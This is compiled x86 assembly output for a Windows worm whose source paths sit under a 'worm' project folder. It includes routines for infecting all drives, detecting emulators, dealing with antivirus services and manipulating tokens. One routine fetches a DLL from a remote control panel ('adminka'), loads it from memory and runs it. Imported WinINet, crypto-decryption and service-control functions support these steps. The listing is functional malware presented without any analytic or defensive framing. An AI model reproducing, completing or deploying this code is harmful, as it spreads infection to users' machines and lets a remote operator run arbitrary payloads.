	.size	_u_alloc,_$1529-_u_alloc
	.globl	_u_alloc
	.type	_u_free,function
_u_free:
	pushl	%ebp
	movl	%esp,%ebp
	.line	9
	.line	10
	pushl	8(%ebp)
	call	*__LocalFree
	.line	11
	popl	%ebp
	ret
_$1531:
	.size	_u_free,_$1531-_u_free
	.globl	_u_free
; c --> %edi
; src --> %esi
; dst --> %ebx
	.type	_u_memcpy,function
_u_memcpy:
	pushl	%ebx
	pushl	%esi
	.line	14
	movl	12(%esp),%ebx
	movl	16(%esp),%esi
	movl	20(%esp),%ecx
	.line	15
	or	%ecx,%ecx
	jle	_$1533
	jmp	_$1536
_$1535:
	.line	16
	movl	%ebx,%eax
	incl	%ebx
	movl	%esi,%edx
	incl	%esi
	movb	(,%edx),%dl
	movb	%dl,(,%eax)
_$1536:
	movl	%ecx,%eax
	decl	%ecx
	or	%eax,%eax
	jne	_$1535
	.line	17
_$1533:
	popl	%esi
	popl	%ebx
	ret
_$1541:
	.size	_u_memcpy,_$1541-_u_memcpy
	.globl	_u_memcpy
; p --> %edi
; count --> %esi
	.type	_u_memset,function
_u_memset:
	pushl	%esi
	.line	20
	movl	16(%esp),%esi
	.line	21
	movl	8(%esp),%ecx
	jmp	_$1544
_$1543:
	.line	23
	movl	%ecx,%eax
	incl	%ecx
	movb	12(%esp),%dl
	movb	%dl,(,%eax)
_$1544:
	.line	22
	movl	%esi,%eax
	decl	%esi
	or	%eax,%eax
	jne	_$1543
	.line	24
	popl	%esi
	ret
_$1548:
	.size	_u_memset,_$1548-_u_memset
	.globl	_u_memset
; fout --> %edi
; add --> %esi
; read --> %ebx
	.type	_u_CreateFile,function
_u_CreateFile:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%ecx
	pushl	%eax
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	27
	movl	12(%ebp),%ebx
	movl	16(%ebp),%esi
	.line	28
	pushl	$0
	pushl	$0
	or	%ebx,%ebx
	jne	_$1554
	or	%esi,%esi
	je	_$1552
_$1554:
	movl	$3,-4(%ebp)
	jmp	_$1553
_$1552:
	movl	$2,-4(%ebp)
_$1553:
	pushl	-4(%ebp)
	pushl	$0
	pushl	$3
	or	%ebx,%ebx
	je	_$1555
	movl	$0x80000000,-8(%ebp)
	jmp	_$1556
_$1555:
	movl	$0x40000000,-8(%ebp)
_$1556:
	pushl	-8(%ebp)
	pushl	8(%ebp)
	call	*__CreateFile
	movl	%eax,%edi
	.line	29
	cmpl	$0xffffffff,%edi
	jne	_$1557
	xor	%eax,%eax
	jmp	_$1549
_$1557:
	.line	30
	or	%esi,%esi
	je	_$1559
	pushl	$2
	pushl	$0
	pushl	$0
	pushl	%edi
	call	*__SetFilePointer
_$1559:
	.line	31
	movl	%edi,%eax
_$1549:
	.line	32
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$1562:
	.size	_u_CreateFile,_$1562-_u_CreateFile
	.globl	_u_CreateFile
	.type	_u_WriteFile,function
_u_WriteFile:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%ecx
	.line	35
	.line	36
	andl	$0,-4(%ebp)
	.line	37
	pushl	$0
	leal	-4(%ebp),%eax
	pushl	%eax
	pushl	16(%ebp)
	pushl	12(%ebp)
	pushl	8(%ebp)
	call	*__WriteFile
	.line	38
	movl	-4(%ebp),%eax
	.line	39
	leave
	ret
_$1564:
	.size	_u_WriteFile,_$1564-_u_WriteFile
	.globl	_u_WriteFile
	.type	_u_ReadFile,function
_u_ReadFile:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%ecx
	.line	42
	.line	43
	andl	$0,-4(%ebp)
	.line	44
	pushl	$0
	leal	-4(%ebp),%eax
	pushl	%eax
	pushl	16(%ebp)
	pushl	12(%ebp)
	pushl	8(%ebp)
	call	*__ReadFile
	.line	45
	movl	-4(%ebp),%eax
	.line	46
	leave
	ret
_$1566:
	.size	_u_ReadFile,_$1566-_u_ReadFile
	.globl	_u_ReadFile
	.type	_u_CloseFile,function
_u_CloseFile:
	pushl	%ebp
	movl	%esp,%ebp
	.line	49
	.line	50
	pushl	8(%ebp)
	call	*__CloseHandle
	.line	51
	popl	%ebp
	ret
_$1568:
	.size	_u_CloseFile,_$1568-_u_CloseFile
	.globl	_u_CloseFile
; fout --> %edi
	.type	_u_SaveToFile,function
_u_SaveToFile:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%edi
	.line	54
	.line	55
	pushl	$0
	pushl	$0
	pushl	8(%ebp)
	call	_u_CreateFile
	addl	$12,%esp
	movl	%eax,%edi
	.line	56
	or	%edi,%edi
	jne	_$1570
	xor	%eax,%eax
	jmp	_$1569
_$1570:
	.line	57
	pushl	16(%ebp)
	pushl	12(%ebp)
	pushl	%edi
	call	_u_WriteFile
	.line	58
	pushl	%edi
	call	_u_CloseFile
	addl	$16,%esp
	.line	59
	xor	%eax,%eax
	inc	%eax
_$1569:
	.line	60
	popl	%edi
	popl	%ebp
	ret
_$1573:
	.size	_u_SaveToFile,_$1573-_u_SaveToFile
	.globl	_u_SaveToFile
; i --> %edi
; c_sub --> %esi
; s --> %ebx
	.type	_u_strstr,function
_u_strstr:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$12,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	63
	movl	8(%ebp),%ebx
	.line	64
	pushl	%ebx
	call	_lstrlenA@4
	movl	%eax,-4(%ebp)
	.line	65
	pushl	12(%ebp)
	call	_lstrlenA@4
	movl	%eax,%esi
	.line	66
	cmpl	%esi,-4(%ebp)
	jge	_$1575
	xor	%eax,%eax
	jmp	_$1574
_$1575:
	.line	67
	xor	%edi,%edi
	jmp	_$1580
_$1577:
	.line	69
	movl	$1,-12(%ebp)
	.line	70
	andl	$0,-8(%ebp)
	jmp	_$1584
_$1581:
	.line	71
	movl	-8(%ebp),%eax
	movl	%edi,%edx
	addl	%eax,%edx
	movsbl	(%ebx,%edx),%edx
	movl	12(%ebp),%ecx
	movsbl	(%ecx,%eax),%eax
	cmpl	%eax,%edx
	je	_$1585
	.line	73
	andl	$0,-12(%ebp)
	.line	74
	jmp	_$1583
_$1585:
	.line	70
	incl	-8(%ebp)
_$1584:
	cmpl	%esi,-8(%ebp)
	jl	_$1581
_$1583:
	.line	76
	cmpl	$0,-12(%ebp)
	je	_$1587
	.line	77
	movl	%edi,%eax
	addl	%ebx,%eax
	jmp	_$1574
_$1587:
	.line	78
	.line	67
	incl	%edi
_$1580:
	movl	-4(%ebp),%eax
	subl	%esi,%eax
	cmpl	%eax,%edi
	jle	_$1577
	.line	79
	xor	%eax,%eax
_$1574:
	.line	80
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$1592:
	.size	_u_strstr,_$1592-_u_strstr
	.globl	_u_strstr
	.type	_u_icmpchar,function
_u_icmpchar:
	.line	84
	.line	85
	movb	4(%esp),%al
	cmpb	$97,%al
	jl	_$1594
	cmpb	$122,%al
	jg	_$1594
	.line	86
	movsbl	4(%esp),%eax
	xorl	$32,%eax
	movb	%al,4(%esp)
_$1594:
	.line	87
	movb	8(%esp),%al
	cmpb	$97,%al
	jl	_$1596
	cmpb	$122,%al
	jg	_$1596
	.line	88
	movsbl	8(%esp),%eax
	xorl	$32,%eax
	movb	%al,8(%esp)
_$1596:
	.line	89
	movsbl	4(%esp),%eax
	movsbl	8(%esp),%edx
	subl	%edx,%eax
	.line	90
	ret
_$1600:
	.size	_u_icmpchar,_$1600-_u_icmpchar
	.globl	_u_icmpchar
; i --> %edi
; c_sub --> %esi
; s --> %ebx
	.type	_u_istrstr,function
_u_istrstr:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$12,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	94
	movl	8(%ebp),%ebx
	.line	95
	pushl	%ebx
	call	*__lstrlen
	movl	%eax,-4(%ebp)
	.line	96
	pushl	12(%ebp)
	call	*__lstrlen
	movl	%eax,%esi
	.line	97
	cmpl	%esi,-4(%ebp)
	jge	_$1602
	xor	%eax,%eax
	jmp	_$1601
_$1602:
	.line	98
	xor	%edi,%edi
	jmp	_$1607
_$1604:
	.line	100
	movl	$1,-12(%ebp)
	.line	101
	andl	$0,-8(%ebp)
	jmp	_$1611
_$1608:
	.line	102
	movl	-8(%ebp),%eax
	movl	12(%ebp),%edx
	movsbl	(%edx,%eax),%edx
	pushl	%edx
	movl	%edi,%edx
	addl	%eax,%edx
	movsbl	(%ebx,%edx),%eax
	pushl	%eax
	call	_u_icmpchar
	addl	$8,%esp
	or	%eax,%eax
	je	_$1612
	.line	104
	andl	$0,-12(%ebp)
	.line	105
	jmp	_$1610
_$1612:
	.line	101
	incl	-8(%ebp)
_$1611:
	cmpl	%esi,-8(%ebp)
	jl	_$1608
_$1610:
	.line	107
	cmpl	$0,-12(%ebp)
	je	_$1614
	.line	108
	movl	%edi,%eax
	addl	%ebx,%eax
	jmp	_$1601
_$1614:
	.line	109
	.line	98
	incl	%edi
_$1607:
	movl	-4(%ebp),%eax
	subl	%esi,%eax
	cmpl	%eax,%edi
	jle	_$1604
	.line	110
	xor	%eax,%eax
_$1601:
	.line	111
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$1620:
	.size	_u_istrstr,_$1620-_u_istrstr
	.globl	_u_istrstr
; s --> %edi
	.type	_u_strchr,function
_u_strchr:
	.line	114
	movl	4(%esp),%ecx
	.line	115
	or	%ecx,%ecx
	jne	_$1625
	xor	%eax,%eax
	jmp	_$1621
	.line	116
_$1624:
	.line	117
	movsbl	(,%ecx),%eax
	movsbl	8(%esp),%edx
	cmpl	%edx,%eax
	jne	_$1627
	.line	118
	movl	%ecx,%eax
	jmp	_$1621
_$1627:
	.line	120
	incl	%ecx
	.line	121
_$1625:
	.line	116
	cmpb	$0,(,%ecx)
	jne	_$1624
	.line	121
	xor	%eax,%eax
_$1621:
	.line	122
	ret
_$1629:
	.size	_u_strchr,_$1629-_u_strchr
	.globl	_u_strchr
	.data
	.align	2
	.type	_$S1,object
_$S1:
	.long	0x0
	.text
	.type	_u_rand,function
_u_rand:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%ecx
	pushl	%edi
	.line	126
	.line	128
	cmpl	$0,_$S1
	jne	_$1631
	call	*__GetTickCount
	movl	%eax,%edi
	andl	$0xffff,%edi
	movl	%edi,_$S1
_$1631:
	.line	129
	movl	$0xec7b,%eax
	mull	_$S1
	movl	%eax,-4(%ebp)
	addl	$4481,%eax
	andl	$0xffff,%eax
	movl	%eax,_$S1
	.line	130
	.line	131
	popl	%edi
	leave
	ret
_$1635:
	.size	_u_rand,_$1635-_u_rand
	.globl	_u_rand
; r --> %esi
	.type	_u_rand_range,function
_u_rand_range:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	134
	.line	135
	call	_u_rand
	movl	%eax,%esi
	.line	136
	movl	8(%ebp),%edi
	movl	%esi,%eax
	movl	12(%ebp),%ebx
	subl	%edi,%ebx
	movl	%ebx,%ecx
	incl	%ecx
	cdq
	idivl	%ecx
	movl	%edx,%eax
	addl	%edi,%eax
	.line	137
	popl	%edi
	popl	%esi
	popl	%ebx
	popl	%ebp
	ret
_$1639:
	.size	_u_rand_range,_$1639-_u_rand_range
	.globl	_u_rand_range
	.file	"e:\projects\progs\petrosjan\bjwj\worm\addons\addons.c"
_$M161:
	.data
	.globl	_nameLoadDll
	.align	2
	.type	_nameLoadDll,object
_nameLoadDll:
	.long	_$1640
	.text
; dll --> %edi
	.type	_LoadAndStartDll,function
_LoadAndStartDll:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$12,%esp
	pushl	%edi
	.line	7
	.line	9
	pushl	$_$1642
	call	*__OutputDebugStringA
	.line	10
	leal	-4(%ebp),%eax
	pushl	%eax
	pushl	_nameLoadDll
	call	_LoadFileFromAdminka
	addl	$8,%esp
	movl	%eax,%edi
	.line	11
	pushl	$_$1643
	call	*__OutputDebugStringA
	.line	12
	or	%edi,%edi
	je	_$1644
	.line	14
	pushl	-4(%ebp)
	pushl	%edi
	pushl	$_$1646
	call	_u_SaveToFile
	.line	15
	pushl	$_$1647
	call	*__OutputDebugStringA
	.line	16
	pushl	%edi
	call	_MemoryLoadLibrary
	addl	$16,%esp
	movl	%eax,-8(%ebp)
	.line	17
	pushl	$_$1648
	call	*__OutputDebugStringA
	.line	18
	cmpl	$0,-8(%ebp)
	je	_$1649
	.line	20
	pushl	$_$1651
	call	*__OutputDebugStringA
	.line	21
	pushl	$_$1652
	pushl	-8(%ebp)
	call	_MemoryGetProcAddress@8
	movl	%eax,-12(%ebp)
	.line	22
	pushl	$_$1653
	call	*__OutputDebugStringA
	.line	23
	cmpl	$0,-12(%ebp)
	je	_$1654
	.line	25
	pushl	$_$1656
	call	*__OutputDebugStringA
	.line	26
	call	*-12(%ebp)
	jmp	_$1650
_$1654:
	.line	29
	pushl	$_$1657
	call	*__OutputDebugStringA
	.line	30
	jmp	_$1650
_$1649:
	.line	32
	pushl	$_$1658
	call	*__OutputDebugStringA
_$1650:
	.line	33
	pushl	%edi
	call	_u_free
	popl	%ecx
_$1644:
	.line	35
	popl	%edi
	leave
	ret
_$1662:
	.size	_LoadAndStartDll,_$1662-_LoadAndStartDll
	.globl	_LoadAndStartDll
	.file	"e:\projects\progs\petrosjan\bjwj\worm\kkqvx.c"
_$M162:
	.type	_WndProc@16,function
_WndProc@16:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%edi
	.line	18
	.line	19
	movl	12(%ebp),%eax
_$1664:
	.line	21
	pushl	20(%ebp)
	pushl	16(%ebp)
	pushl	12(%ebp)
	pushl	8(%ebp)
	call	*__DefWindowProc
	.line	23
	popl	%edi
	popl	%ebp
	ret	$16
_$1667:
	.size	_WndProc@16,_$1667-_WndProc@16
	.globl	_WndProc@16
; v --> %edi
	.type	_CheckVersion,function
_CheckVersion:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$260,%esp
	pushl	%esi
	pushl	%edi
	.line	34
	.line	40
	movl	$23,%edi
_$1669:
	.line	44
	pushl	%edi
	pushl	$_$1674
	pushl	$_$1673
	leal	-255(%ebp),%eax
	pushl	%eax
	call	*__sprintf
	addl	$16,%esp
	.line	50
	leal	-255(%ebp),%eax
	pushl	%eax
	pushl	$0
	pushl	$0x100000
	call	*__OpenMutex
	movl	%eax,-260(%ebp)
	or	%eax,%eax
	je	_$1675
	.line	52
	pushl	%eax
	call	*__CloseHandle
	.line	53
	cmpl	$23,%edi
	jne	_$1677
	.line	54
	xor	%eax,%eax
	inc	%eax
	jmp	_$1668
_$1677:
	.line	56
	movl	$2,%eax
	jmp	_$1668
	.line	57
_$1675:
	.line	58
	.line	40
	incl	%edi
	cmpl	$100,%edi
	jb 	_$1669
	.line	60
	xor	%eax,%eax
_$1668:
	.line	61
	popl	%edi
	popl	%esi
	leave
	ret
_$1680:
	.size	_CheckVersion,_$1680-_CheckVersion
	.globl	_CheckVersion
; hcmv --> %edi
	.type	_CreateOrOpenMutexes_WaitForMtx2Release,function
_CreateOrOpenMutexes_WaitForMtx2Release:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%ecx
	pushl	%edi
	.line	67
	.line	72
	pushl	8(%ebp)
	pushl	$0
	pushl	$0
	call	*__CreateMutex
	movl	%eax,-4(%ebp)
	.line	73
	pushl	12(%ebp)
	pushl	$1
	pushl	$0
	call	*__CreateMutex
	movl	%eax,%edi
	.line	83
	or	%edi,%edi
	jne	_$1682
	pushl	$1
	call	*__ExitThread
_$1682:
	.line	92
	pushl	$0xffffffff
	pushl	%edi
	call	*__WaitForSingleObject
	.line	97
	popl	%edi
	leave
	ret
_$1686:
	.size	_CreateOrOpenMutexes_WaitForMtx2Release,_$1686-_CreateOrOpenMutexes_WaitForMtx2Release
	.globl	_CreateOrOpenMutexes_WaitForMtx2Release
	.type	_InitInfectData,function
_InitInfectData:
	pushl	%ebp
	movl	%esp,%ebp
	.extern	__stackprobe
	movl	$200008,%eax
	call	__stackprobe
	.line	104
	.line	107
	movl	8(%ebp),%eax
	addl	$23,%eax
	pushl	%eax
	call	*__srand
	popl	%ecx
	.line	133
	andl	$0,-4(%ebp)
	.line	135
	pushl	$0
	pushl	$0
	pushl	$3
	pushl	$0
	pushl	$0
	pushl	$0x80000001
	pushl	$_$1688
	call	*__CreateFile
	movl	%eax,-8(%ebp)
	.line	136
	cmpl	$0xffffffff,%eax
	je	_$1689
	.line	138
	pushl	$0
	pushl	$0
	pushl	$_$1691
	pushl	$0
	call	*__MessageBox
	.line	139
	pushl	$0
	pushl	$0
	pushl	$_$1692
	pushl	$0
	call	*__MessageBox
	.line	140
	pushl	$0
	leal	-4(%ebp),%eax
	pushl	%eax
	pushl	$0x30d40
	leal	-200008(%ebp),%eax
	pushl	%eax
	pushl	-8(%ebp)
	call	*__ReadFile
	.line	141
	pushl	-8(%ebp)
	call	*__CloseHandle
	jmp	_$1690
_$1689:
	.line	143
	andl	$0,-4(%ebp)
	andl	$0,_dll_len
	pushl	$0
	pushl	$0
	pushl	$_$1693
	pushl	$0
	call	*__MessageBox
_$1690:
	.line	145
	leal	-200008(%ebp),%eax
	movl	%eax,_dll_mem
	.line	151
	movl	-4(%ebp),%eax
	movl	%eax,_dll_len
	.line	152
	call	_InitAVSVC
	.line	158
	pushl	12(%ebp)
	call	_ProcessInactiveServices
	popl	%ecx
	.line	159
	leave
	ret
_$1696:
	.size	_InitInfectData,_$1696-_InitInfectData
	.globl	_InitInfectData
	.type	_ServiceMode,function
_ServiceMode:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$256,%esp
	.line	165
	.line	167
	pushl	$_$1698
	call	*__OutputDebugStringA
	.line	172
	movl	$10000,_sdelay
	.line	173
	pushl	$23
	pushl	$_$1700
	pushl	$_$1699
	leal	-255(%ebp),%eax
	pushl	%eax
	call	*__sprintf
	.line	176
	leal	-255(%ebp),%eax
	pushl	%eax
	pushl	$_$1700
	call	_CreateOrOpenMutexes_WaitForMtx2Release
	.line	179
	pushl	$0
	call	_EditOwnToken_or_CheckFiltered
	.line	183
	pushl	$0
	pushl	8(%ebp)
	call	_InitInfectData
	.line	189
	pushl	$_InfectAllDrives@4
	call	_CloseCreateThreadEco
	.line	201
	pushl	$_$1700
	leal	-255(%ebp),%eax
	pushl	%eax
	call	_CreateOrOpenMutexes_WaitForMtx2Release
	addl	$48,%esp
	.line	206
	call	_LoadAndStartDll
_$1701:
	.line	209
	pushl	$0
	call	*___sleep
	popl	%ecx
	jmp	_$1701
	.line	210
	leave
	ret
_$1702:
	.size	_ServiceMode,_$1702-_ServiceMode
	.globl	_ServiceMode
	.type	_MainThread@4,function
_MainThread@4:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$624,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	222
	.line	243
	addl	$23,-72(%ebp)
	.line	244
	call	_GetTicks1
	.line	246
	movl	$512,-76(%ebp)
	.line	247
	pushl	$96
	call	_AntiEmulator
	addl	$4,%esp
	movl	%eax,-72(%ebp)
	.line	249
	movl	__KERNEL32,%edi
	addl	-76(%ebp),%edi
	addl	_EMUL,%edi
	movl	%edi,__KERNEL32
	.line	250
	movl	__KERNEL32,%edi
	movl	-76(%ebp),%eax
	mull	-72(%ebp)
	movl	%eax,-624(%ebp)
	movl	-624(%ebp),%esi
	subl	-624(%ebp),%edi
	movl	%edi,__KERNEL32
	.line	254
	call	_InitKernel32a
	.line	256
	call	_InitKernel32
	.line	257
	call	_InitCRTDLL
	.line	258
	call	_InitUser32
	.line	259
	call	_InitADVAPI32
	.line	260
	call	_InitSFC
	.line	261
	call	_InitShell32
	.line	262
	call	_InitCrypt32
	.line	263
	call	_InitUrlmon
	.line	264
	call	_InitWininet
	.line	265
	call	_InitSFC_OS
	.line	274
	call	*__GetTickCount
	movl	%eax,-80(%ebp)
	.line	275
	pushl	$0
	call	*__GetModuleHandle
	movl	%eax,_hI
	.line	276
	call	_CheckService
	movl	%eax,-620(%ebp)
	.line	292
	pushl	-80(%ebp)
	call	_ServiceMode
	addl	$4,%esp
_$1704:
	.line	305
	call	_CheckVersion
	movl	%ax,%bx
	movb	%bl,-81(%ebp)
	.line	307
	cmpb	$2,-81(%ebp)
	jne	_$1705
	.line	312
	pushl	$1
	call	*__ExitThread
_$1705:
	.line	315
	cmpb	$1,-81(%ebp)
	jne	_$1707
	.line	321
	pushl	$100
	call	*___sleep
	addl	$4,%esp
	.line	324
	jmp	_$1704
_$1707:
	.line	333
	pushl	$_$1674
	pushl	$_$1709
	leal	-347(%ebp),%edi
	pushl	%edi
	call	*__sprintf
	addl	$12,%esp
	.line	334
	pushl	$23
	pushl	$_$1674
	pushl	$_$1673
	leal	-602(%ebp),%edi
	pushl	%edi
	call	*__sprintf
	addl	$16,%esp
	.line	336
	leal	-602(%ebp),%edi
	pushl	%edi
	leal	-347(%ebp),%edi
	pushl	%edi
	call	_CreateOrOpenMutexes_WaitForMtx2Release
	addl	$8,%esp
	.line	342
	leal	_$1674,%edi
	movl	%edi,-32(%ebp)
	.line	343
	movl	_hI,%edi
	movl	%edi,-52(%ebp)
	.line	344
	leal	_WndProc@16,%edi
	movl	%edi,-64(%ebp)
	.line	345
	movl	$0,-44(%ebp)
	.line	346
	movl	$0,-48(%ebp)
	.line	347
	movl	$0,-36(%ebp)
	.line	348
	movl	$0x5,-40(%ebp)
	.line	349
	movl	$3,-68(%ebp)
	.line	350
	movl	$0,-60(%ebp)
	.line	351
	movl	$0,-56(%ebp)
	.line	355
	leal	-68(%ebp),%edi
	pushl	%edi
	call	*__RegisterClass
	.line	362
	movl	$0xca0000,-608(%ebp)
	.line	363
	movl	$0,-88(%ebp)
	.line	364
	movl	$0,-92(%ebp)
	.line	370
	pushl	$_$1700
	pushl	$0
	pushl	$0x100000
	call	*__OpenMutex
	movl	%eax,-616(%ebp)
	cmpl	$0,%eax
	je	_$1719
	.line	372
	movl	$0,-612(%ebp)
	.line	373
	pushl	-616(%ebp)
	call	*__CloseHandle
	jmp	_$1720
_$1719:
	.line	375
	movl	$5,-612(%ebp)
_$1720:
	.line	384
	pushl	$0
	pushl	_hI
	pushl	$0
	pushl	$0
	movl	-92(%ebp),%edi
	pushl	%edi
	pushl	%edi
	movl	-88(%ebp),%edi
	pushl	%edi
	pushl	%edi
	pushl	-608(%ebp)
	pushl	$_$1674
	pushl	$_$1674
	pushl	$0
	call	*__CreateWindowEx
	movl	%eax,_hw
	.line	385
	movl	$0,_sdelay
	.line	388
	pushl	$0
	call	_EditOwnToken_or_CheckFiltered
	addl	$4,%esp
	.line	391
	pushl	-612(%ebp)
	pushl	-80(%ebp)
	call	_InitInfectData
	addl	$8,%esp
	.line	395
	call	_softfind
	.line	399
	pushl	$_InfectAllDrives@4
	call	_CloseCreateThreadEco
	addl	$4,%esp
	jmp	_$1722
_$1721:
	.line	405
	leal	-28(%ebp),%edi
	pushl	%edi
	call	*__TranslateMessage
	.line	406
	leal	-28(%ebp),%edi
	pushl	%edi
	call	*__DispatchMessage
_$1722:
	.line	403
	pushl	$0
	pushl	$0
	pushl	$0
	leal	-28(%ebp),%edi
	pushl	%edi
	call	*__GetMessage
	cmpl	$0,%eax
	jne	_$1721
	.line	411
	pushl	$_$1724
	call	_GetModuleHandleA@4
_$1703:
	.line	413
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret	$4
_$1741:
	.size	_MainThread@4,_$1741-_MainThread@4
	.globl	_MainThread@4
	.type	_StartMainThread,function
_StartMainThread:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$12,%esp
	pushl	%edi
	.line	425
	.line	430
	movl	$1,-12(%ebp)
	.line	431
	leal	-8(%ebp),%edi
	pushl	%edi
	pushl	$0
	leal	-4(%ebp),%edi
	pushl	%edi
	pushl	$_MainThread@4
	pushl	$0
	pushl	$0
	call	*__CreateThread
_$1742:
	.line	432
	popl	%edi
	leave
	ret
_$1744:
	.size	_StartMainThread,_$1744-_StartMainThread
	.globl	_StartMainThread
	.type	_main,function
_main:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$32,%esp
	pushl	%edi
	.line	456
	.line	462
	leal	_MainThread@4,%edi
	movl	%edi,-20(%ebp)
	.line	463
	leal	_MainThread@4,%edi
	shrl	$16,%edi
	movl	%edi,-8(%ebp)
	.line	465
	shll	$16,-8(%ebp)
	.line	473
	leal	-12(%ebp),%edi
	pushl	%edi
	pushl	$4
	pushl	-20(%ebp)
	pushl	-8(%ebp)
	call	_FindPEheader
	addl	$16,%esp
	movl	%eax,-8(%ebp)
	.line	477
	movl	-12(%ebp),%edi
	movl	128(%edi),%edi
	movl	%edi,-16(%ebp)
	.line	481
	movl	$0,-4(%ebp)
	jmp	_$1749
_$1746:
	.line	483
	movl	-8(%ebp),%edi
	addl	-16(%ebp),%edi
	addl	-4(%ebp),%edi
	movl	%edi,-32(%ebp)
	.line	485
	movl	-32(%ebp),%edi
	cmpl	$0,(,%edi)
	jne	_$1750
	jmp	_$1748
_$1750:
	.line	486
	cmpl	$0,__KERNEL32
	je	_$1752
	jmp	_$1748
_$1752:
	.line	488
	pushl	-32(%ebp)
	pushl	-8(%ebp)
	call	_ProcessDLLimports
	addl	$8,%esp
_$1747:
	.line	481
	addl	$20,-4(%ebp)
_$1749:
	movl	-12(%ebp),%edi
	movl	132(%edi),%edi
	cmpl	%edi,-4(%ebp)
	jb 	_$1746
_$1748:
	.line	491
	cmpl	$0,__KERNEL32
	jne	_$1754
	jmp	_$1745
_$1754:
	.line	517
	call	_StartMainThread
	.line	521
	pushl	$0
	pushl	$0
	pushl	$0
	pushl	$0
	call	_WriteOrGetLen_C_CODE
	addl	$16,%esp
	movl	%eax,_szinfcode
	.line	525
	movl	-12(%ebp),%edi
	movzwl	6(%edi),%edi
	subl	$1,%edi
	movl	%edi,-24(%ebp)
	.line	526
	movl	-12(%ebp),%edi
	movl	%edi,-28(%ebp)
_$1756:
	.line	532
	pushl	$0
	call	__sleep
	addl	$4,%esp
	jmp	_$1756
_$1745:
	.line	593
	popl	%edi
	leave
	ret
_$1760:
	.size	_main,_$1760-_main
	.globl	_main
	.bss
	.globl	_hI
	.align	2
	.type	_hI,object
	.comm	_hI,4
	.globl	_hw
	.align	2
	.type	_hw,object
	.comm	_hw,4
	.globl	_sdelay
	.align	2
	.type	_sdelay,object
	.comm	_sdelay,4
	.globl	_drvl
	.align	2
	.type	_drvl,object
	.comm	_drvl,1020
	.globl	_htrd
	.align	2
	.type	_htrd,object
	.comm	_htrd,1020
	.globl	_SECTNAME
	.type	_SECTNAME,object
	.comm	_SECTNAME,50
	.globl	_infsize
	.align	2
	.type	_infsize,object
	.comm	_infsize,4
	.globl	_dll_len
	.align	2
	.type	_dll_len,object
	.comm	_dll_len,4
	.globl	_dll_mem
	.align	2
	.type	_dll_mem,object
	.comm	_dll_mem,4
	.globl	_upx_sect
	.align	2
	.type	_upx_sect,object
	.comm	_upx_sect,4
	.globl	_szinfcode
	.align	2
	.type	_szinfcode,object
	.comm	_szinfcode,4
	.globl	_AVSVC
	.type	_AVSVC,object
	.comm	_AVSVC,512
	.globl	_ticks2
	.align	2
	.type	_ticks2,object
	.comm	_ticks2,4
	.globl	_EMUL
	.align	2
	.type	_EMUL,object
	.comm	_EMUL,4
	.globl	_ticks1
	.align	2
	.type	_ticks1,object
	.comm	_ticks1,4
	.globl	__CryptStringToBinaryA
	.align	2
	.type	__CryptStringToBinaryA,object
	.comm	__CryptStringToBinaryA,4
	.globl	__ObtainUserAgentString
	.align	2
	.type	__ObtainUserAgentString,object
	.comm	__ObtainUserAgentString,4
	.globl	__InternetCloseHandle
	.align	2
	.type	__InternetCloseHandle,object
	.comm	__InternetCloseHandle,4
	.globl	__HttpSendRequestA
	.align	2
	.type	__HttpSendRequestA,object
	.comm	__HttpSendRequestA,4
	.globl	__HttpAddRequestHeadersA
	.align	2
	.type	__HttpAddRequestHeadersA,object
	.comm	__HttpAddRequestHeadersA,4
	.globl	__HttpOpenRequestA
	.align	2
	.type	__HttpOpenRequestA,object
	.comm	__HttpOpenRequestA,4
	.globl	__InternetConnectA
	.align	2
	.type	__InternetConnectA,object
	.comm	__InternetConnectA,4
	.globl	__InternetOpenA
	.align	2
	.type	__InternetOpenA,object
	.comm	__InternetOpenA,4
	.globl	__InternetReadFile
	.align	2
	.type	__InternetReadFile,object
	.comm	__InternetReadFile,4
	.globl	__CryptSetKeyParam
	.align	2
	.type	__CryptSetKeyParam,object
	.comm	__CryptSetKeyParam,4
	.globl	__CryptImportKey
	.align	2
	.type	__CryptImportKey,object
	.comm	__CryptImportKey,4
	.globl	__CryptAcquireContextA
	.align	2
	.type	__CryptAcquireContextA,object
	.comm	__CryptAcquireContextA,4
	.globl	__CryptDestroyKey
	.align	2
	.type	__CryptDestroyKey,object
	.comm	__CryptDestroyKey,4
	.globl	__CryptDecrypt
	.align	2
	.type	__CryptDecrypt,object
	.comm	__CryptDecrypt,4
	.globl	__OpenSCManager
	.align	2
	.type	__OpenSCManager,object
	.comm	__OpenSCManager,4
	.globl	__OpenService
	.align	2
	.type	__OpenService,object
	.comm	__OpenService,4
	.globl	__ControlService
	.align	2
	.type	__ControlService,object
	.comm	__ControlService,4
	.globl	__ChangeServiceConfig
	.align	2
	.type	__ChangeServiceConfig,object
	.comm	__ChangeServiceConfig,4
	.globl	__StartService
	.align	2
	.type	__StartService,object
	.comm	__StartService,4
	.globl	__EnumServicesStatus
	.align	2
	.type	__EnumServicesStatus,object
	.comm	__EnumServicesStatus,4
	.globl	__QueryServiceConfig
	.align	2
	.type	__QueryServiceConfig,object
	.comm	__QueryServiceConfig,4
	.globl	__CloseServiceHandle
	.align	2
